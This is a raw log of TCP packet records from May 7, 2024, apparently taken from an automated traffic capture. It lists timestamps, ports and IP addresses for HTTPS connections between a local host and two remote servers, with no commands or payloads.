May 7, 2024 20:31:23.326863050 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.326910973 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.326916933 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.327394962 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.327445984 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.327450991 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.327544928 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.327591896 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.327595949 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.327656984 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.327739954 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.327785015 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.327790022 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.327894926 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.327936888 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.327940941 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.327990055 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.327994108 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.328351021 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.328412056 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.328417063 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.361278057 CEST	443	49776	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.361341953 CEST	443	49776	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.361428976 CEST	49776	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.362020969 CEST	49776	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.362031937 CEST	443	49776	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.377476931 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.406919956 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.407511950 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.407565117 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.407572985 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.407627106 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.407665968 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.407671928 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.407759905 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.407824039 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.407829046 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.407917023 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.407968044 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.407972097 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.408066988 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.408142090 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.408147097 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.408551931 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.408607006 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.408611059 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.408718109 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.408759117 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.408763885 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.408829927 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.408884048 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.408888102 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.409455061 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.409518957 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.409523964 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.409607887 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.409657001 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.409662008 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.409769058 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.409815073 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.409818888 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.409902096 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.409946918 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.409953117 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.410034895 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.410073996 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.410079002 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.410306931 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.410367012 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.410409927 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.410419941 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.410468102 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.410471916 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.410573959 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.410695076 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.410737991 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.410743952 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.410789013 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.410794020 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.410855055 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.410900116 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.410907984 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.411402941 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.411447048 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.411452055 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.411534071 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.411566019 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.411581993 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.411587000 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.411632061 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.411637068 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.411668062 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.411715031 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.411720037 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.412245035 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.412317991 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.412322044 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.412422895 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.412463903 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.412470102 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.412549973 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.412597895 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.412602901 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.412688971 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.412769079 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.412774086 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.412908077 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.412951946 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.412956953 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.413072109 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.413121939 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.413126945 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.453566074 CEST	49777	443	192.168.2.4	104.17.2.184
May 7, 2024 20:31:23.453591108 CEST	443	49777	104.17.2.184	192.168.2.4
May 7, 2024 20:31:23.453713894 CEST	49777	443	192.168.2.4	104.17.2.184
May 7, 2024 20:31:23.453918934 CEST	49777	443	192.168.2.4	104.17.2.184
May 7, 2024 20:31:23.453929901 CEST	443	49777	104.17.2.184	192.168.2.4
May 7, 2024 20:31:23.458753109 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.490890980 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.491192102 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.491244078 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.491267920 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.491295099 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.491303921 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.491333008 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.491565943 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.491611004 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.491616011 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.491702080 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.491740942 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.491744995 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.491776943 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.491806984 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.491820097 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.491825104 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.491853952 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.491862059 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.491867065 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.491911888 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.491916895 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.492219925 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.492268085 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.492281914 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.492286921 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.492332935 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.492378950 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.492384911 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.492425919 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.492448092 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.492503881 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.492552042 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.492578030 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.492587090 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.492629051 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.492633104 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.492655993 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.492683887 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.492697001 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.492702007 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.492742062 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.492743969 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.492752075 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.492796898 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.492800951 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.493558884 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.493607044 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.493612051 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.493693113 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.493778944 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.493822098 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.493827105 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.493875027 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.493877888 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.493916988 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.493947029 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.493973970 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.493985891 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.493990898 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.494013071 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.494373083 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.494417906 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.494424105 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.494527102 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.494561911 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.494580030 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.494585991 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.494617939 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.494626045 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.494628906 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.494661093 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.494826078 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.494832039 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.495438099 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.495486021 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.495492935 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.495496988 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.495532990 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.495537996 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.495579004 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.495606899 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.495629072 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.495634079 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.495671988 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.495676041 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.495723963 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.495771885 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.495778084 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.496368885 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.496397972 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.496421099 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.496426105 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.496454954 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.496480942 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.496481895 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.496490002 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.496531963 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.496536016 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.496565104 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.496603966 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.496608019 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.496655941 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.496663094 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.497391939 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.497437954 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.497442961 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.497498035 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.497524977 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.497544050 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.497550011 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.497623920 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.499195099 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.499202013 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.499221087 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.499255896 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.499262094 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.499298096 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.499308109 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.500894070 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.500945091 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.500962019 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.500967979 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.501002073 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.501014948 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.501950026 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.501972914 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.502011061 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.502015114 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.502044916 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.502063990 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.504169941 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.504219055 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.504230022 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.504236937 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.504272938 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.504285097 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.505088091 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.505103111 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.505127907 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.505156040 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.505162001 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.505196095 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.505976915 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.506027937 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.506033897 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.506076097 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.506869078 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.506910086 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.506937027 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.506942034 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.506972075 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.506973982 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.507014990 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.507021904 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.507061005 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.507810116 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.507893085 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.507921934 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.507935047 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.507940054 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.507972956 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.507987976 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.507992983 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.508033991 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.508038044 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.508069992 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.508147955 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.508174896 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.508179903 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.508218050 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.508801937 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.509099007 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.509129047 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.509155989 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.509166002 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.509176970 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.509200096 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.509238005 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.509238005 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.509247065 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.509277105 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.509282112 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.509315968 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.509360075 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.509363890 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.550412893 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.575206041 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.575285912 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.575323105 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.575334072 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.575346947 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.575370073 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.575388908 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.575395107 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.575432062 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.575447083 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.575452089 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.575491905 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.575499058 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.575509071 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.575552940 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.575557947 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.575627089 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.575665951 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.575670958 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.575726986 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.575794935 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.575824976 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.575834990 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.575840950 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.575867891 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.576415062 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.576469898 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.576473951 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.576539040 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.576582909 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.576587915 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.576670885 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.576709986 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.576714993 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.577483892 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.577544928 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.577550888 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.577565908 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.577575922 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.577606916 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.577617884 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.577670097 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.577673912 CEST	443	49775	104.17.3.184	192.168.2.4
